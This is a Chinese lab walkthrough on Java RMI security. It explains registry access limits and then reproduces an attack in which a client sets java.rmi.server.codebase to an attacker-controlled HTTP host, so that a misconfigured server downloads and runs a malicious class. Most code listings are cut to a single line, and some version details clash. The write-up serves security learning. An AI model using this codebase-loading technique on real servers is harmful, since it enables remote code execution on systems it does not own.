从RMI第一篇描述了RMI的通信过程和组成成分,总结一下,一个RMI过程有以下三个参与者:
RMI Registry
RMI Server
RMI Client
但是对于RMI Registry来说,一般在创建时,就直接和服务器端的一个对象进行绑定,所以最后只有Server和Client两部分代码,而Server中就自然包含了Registry和Server两部分:
1 | LocateRegistry.createRegistry(1099); |
上述代码中,第一行是创建并运行RMI Registry
,第二行是将RemoteHelloWorld
对象绑定到Hello
这个Name
上。
Naming.bind
的第一个参数是url
,格式为rmi://host:post/name
。这里的host
和post
就是RMI Registry
的地址和端口,name
就是远程对象绑定的名字。
不过,如果RMI Registry
在本地运行,那么host
和port
是可以省略的,host
默认为localhost
,port
默认是1099
直接保留name
就行,
1 | Naming.bind("Hello",new RemoteHelloWorld()); |
第一篇大致讲了RMI整体的原理和流程,那么接下来自然要想到RMI会有哪些安全问题,可以分为两个方向
- 如果我们能够访问
RMI Registry
,将如何对其进行攻击?- 如果我们可以控制目标RMI客户端中的
Naming.lookup
的第一个参数,也就是RMI Registry
的地址和端口,能不能进行攻击?
Java安全[RMI(2)]
复现文章过程中遇到了很多问题,本文不全展示,请自行理解和搜索,动手操作学到更多
如何攻击RMI Registry?
从第一篇RMI文章中提到,服务器端用Naming.rebind
绑定对象。比如下面代码就将RemoteHelloWorld
类实例绑定在Registry
中的Hello
名上,192.168.135.142:1099
是RMI Registry
的地址和端口
1 | RemoteHelloWorld h = new RemoteHelloWorld(); |
我们同时也知道在客户端也可以调用Naming
,并且可以在RMI Registry
中进行lookup
查找,如果客户端也进行rebind
,可不可以将Hello
对应的对象修改覆盖掉呢?
可以先在本机上启动一个类似的server
绑定虚拟机里的Registry
,
但是发生报错,提示当前并非localhost
这也是因为Java对远程访问
RMI Registry
做了限制,只有当请求访问的源地址是localhost
时候,才可以进行调用rebind,bind,unbind
等方法。
不过如果至少单纯列出绑定对象或者查找绑定对象,是没有这个限制的,如
list
和lookup
方法是可以远程调用的。
为了更加直观,现在虚拟机的服务器端,绑定了三个Name
客户端代码
1 | package RMI_2; |
lookup作用就是获得某个远程对象。那么,只要目标服务器上存在一些危险方法,我们通过RMI就可以对其进行调用,之前曾经有一个工具 https://github.com/NickstaDB/BaRMIe,其中一个功能就是进行危险方法的探测。 但是显然,RMI的攻击面绝不仅仅是这样没营养。
RMI利用codebase
执行任意代码
大部分的Java的漏洞都是远程进行利用恶意类,但是在怎么让目标服务器能够下载并加载自己的恶意服务器上的恶意类,这里就涉及到了codebase
。
曾经浏览器可以直接运行java
,就是通过Applet
标签,但是在HTML5
中不再支持,并在HTML 4.01
中不赞成使用 <applet>
元素。
Applet 是一种 Java 程序。它一般运行在支持 Java 的 Web 浏览器内。因为它有完整的 Java API支持,所以Applet 是一个全功能的 Java 应用程序。
<applet> 标签在 HTML 4 中用于定义嵌入式小程序(插件)。
使用Applet
的时候通常需要指定一个codebase
属性,如下
1 | <applet code="HelloWorld.class" codebase="Applets" width="800" height="600"> |
在RMI中远程加载时也同时涉及到了codebase
codebase
是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的CLASSPATH
,但CLASSPATH
是本地路径,而codebase
通常是远程URL
,比如http
、ftp
等。
如果指定codebase=http://example.com/
,然后加载org.vulhub.example.Example
类,则java虚拟机就会下载http://example.com/org/vulhub/example/Example.class
,并作为Example
类的字节码。
在RMI中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,它会先从自己的CLASSPATH
中进行寻找对应的类,如果在本地还是找不到,就会远程去加载codebase
中的类。
所以如果codebase
被控制,那么我们写上我们恶意类的CLASSPATH
,当服务端本地加载不到的时候,就会通过我们控制的codebase
下载恶意类,最后达到加载恶意类的目的。
在RMI中,codebase可以随着序列化数据一起传输,服务端接收到这个数据后,就先在CLASSPATH中寻找,然后去指定的codebase寻找类。最后就可能被
codebase
指向的恶意类控制导致被getshell或者任意命令执行。
环境配置和代码编写
环境配置,只有满足如下条件的RMI服务器才能被攻击
安装并配置了SecurityManager
Java版本低于
7u21
、6u45
,或者设置了java.rmi.server.useCodebaseOnly=false
其中
java.rmi.server.useCodebaseOnly
是在Java 7u21
、6u45
的时候修改的一个默认设置:
我的环境
配置环境犯了个低级错误,客户端的java版本太高,编译出来的类文件无法被服务器的低版本java虚拟机加载,导致codebase指向的恶意类无法被正确加载
服务端:
- ip:
192.168.169.136
java 17.5
客户端:
- ip:
192.168.169.1
java 17.0.5
服务端的四个文件,
1 | // RemoteRMIServer.java |
然后编译三个java文件,并运行服务端
1 | javac * |
*注意,第二段命令我是在
cmd
中运行,如果在powershell
中运行需要把-D和java用引号分开,如
1 java -D"java.rmi.server.hostname=192.168.169.136" -D"java.rmi.server.useCodebaseOnly=false" -D"java.security.policy=client.policy" -cp E:\Java_Study\src\main\java RMI_2.RemoteRMIServer
执行后如下图,client.policy
文件用于配置协议关闭java.security
,
执行时加上java.rmi.server.useCodebaseOnly=false
允许服务端从RMI请求中获取加载codebase
,若为true
则java虚拟机将只信任预先配置好的codebase
。
java.rmi.server.hostname=192.168.168.131
为服务端ip
,也是客户端要访问的ip
然后编写客户端,根据服务端文件的代码,指定这是一个运算加法的服务端,然后还有个ICalc
接口文件,将其和客户端文件一个目录下。
客户端代码【p神的代码稍微在我环境下有点错误】
主要是其中Payload
这个内部类报错,因为在RMI中类是序列化传递的,如果内部类要被序列化传递,它必须是static
的,否则会导致序列化问题。
内部类不能被序列化!
看到它是继承ArrayList
,直接用ArrayList
即可
1 | package RMI_2; |
正常运行,发送到服务端,返回3,4
相加后的结果7
指定codebase
客户端再在RMI
中指定codebase
,向服务器发送请求,
1 | java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ -cp E:\Ttoc\Desktop\JAVA\JAVA_Study\src\main\java RMIClient.java |
客户端先向远程对象发送codebase,并告诉了查询的类名称
发现果然服务端通过客户端发送的codebase
信息,到目标网站下进行寻找访问类,User-Agent
就是服务端的java虚拟机。
最后example.com
响应返回404
当然这里如果代码和p神一样也是可以的,还可以看到服务端也查找了内部类RMIClient$Payload
,只不过客户端最后输出会报错,但是客户端还是成功把codebase
发送给了服务端,服务端也在底下寻找内部类
可以从下方返回的数据包的顺序,知道服务器先寻找内部类,再寻找外部类
加载恶意类
上面的流量分析知道服务端的java
虚拟机确实会访问codebase
的类文件,所以我们只需要把/RMIClient$Payload.class
改成恶意类即可,当然在RMIClient
中写上恶意类也可以,这里以在内部类Payload为例子
加上恶意类后的代码
1 | package RMI_2; |
重新编译生成类文件
1 | javac *.java |
这里遇到一个坑,因为
Payload
是内部类,其本质还是为RMIClient$Payload
而这里,我将恶意类写在了内部类中,所以最后服务端要执行内部类的静态方法也就是我们的恶意方法,还需要加载外部类
RMIClient
,所以我们需要将内部类RMIClient$Payload
和外部类RMIClient
都放在恶意服务器等着服务端加载如果将恶意方法写在外部类中,就只有把外部类
RMIClient
放在恶意服务器上等着服务端加载就可以执行
1 | package RMI_2; |
因为服务端是虚拟机中运行,我直接在物理机用wsl
安装apache2
上把这两个类文件放上去(为什么放两个类,原因见上)
记得目录必须按照格式需要为包名
修改上面的example.com
为wsl
的ip
即可
1 | java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://x.x.x.x/ -cp E:\Ttoc\Desktop\JAVA\JAVA_Study\src\main\java RMIClient.java |
可以看到访问成功,
网站也将类的内容返回给java-vm
查看服务端
执行成功
*注意,进行RMI时,客户端接口文件的包名必须和服务器包名必须一样
如下,在RMI_2
包中,我的接口文件的包名也是RMI_2
,但是服务端的接口文件包名是RMI_1
客户端:
服务端:
报错,
这个异常是由于Java模块化系统引入的。在Java 9及更高版本中,引入了模块化系统,它会对类加载和模块之间的依赖关系进行更严格的控制。这个异常消息表明你
正在尝试将一个接口从一个模块加载到另一个模块
,而两者之间可能存在访问限制。解决这个问题的方法之一是
确保你的RMI接口和实现都在相同的模块中
,或者在相同的模块路径下。这样,它们将属于同一模块,不会出现模块之间的访问问题。
所以,只客户端只需要导入RMI_1
包中的接口,就可以成功访问到服务端。